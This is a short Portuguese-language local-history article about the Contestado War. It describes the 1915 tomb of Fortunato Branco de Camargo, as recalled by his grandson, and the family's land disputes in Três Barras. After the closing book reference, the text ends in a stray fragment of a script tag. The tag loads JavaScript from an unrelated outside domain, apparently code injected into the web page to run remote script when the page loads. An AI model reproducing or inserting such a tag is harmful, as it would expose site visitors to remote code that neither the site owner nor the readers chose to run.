Para alguns leitores da Guerra do Contestado, pode passar despercebido o túmulo que ilustra a capa do livro “A guerra dos fanáticos (1912-1916): a contribuição dos franciscanos”, publicado em 1982. Para a família de Nelsito Branco Pacheco, nascido em 24/04/1938, filho de Cândido Branco Pacheco e Ana Jungles Pacheco de Lima, morador da localidade da Campininha (Três Barras) a foto faz parte da memória familiar. Ele relata que o avô, Fortunato Branco de Camargo, abandonou sua fazenda durante a Guerra do Contestado.
Para entender o poder de sua família, quanto a propriedade de terras, basta lembrar que sua avó Benvinda Pacheco dos Santos Lima, foi casada com Benedito M. Cordeiro Sobrinho, um dos herdeiros, proprietários da “Posse do Canoinhas”, que deu origem ao município de Três Barras. Mãe de três filhos, viúva, sua avó teve um segundo casamento com Fortunato Branco de Camargo, tendo outros três filhos. Seu Nelsito relata como a família de sua avó (Pacheco) organizou a defesa da propriedade e da morte do avô.
Na inscrição tumular podemos ler: “Aqui Jaz Fortunato Branco, Fall. 3. set.1915. Assassinado pelos jagunço com 36 anos”.
Essa família, como muitas outras da região, que estavam ligadas direta ou indiretamente a questão de terras, tiveram conflitos com os sertanejos rebelados, conhecidos popularmente como jagunços, durante a Guerra do Contestado (1912-1916).
Referências do livro citado: STULZER, Frei Aurélio. A guerra dos fanáticos (1912-1916): a contribuição dos franciscanos. Vila Velha –ES, 1982…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>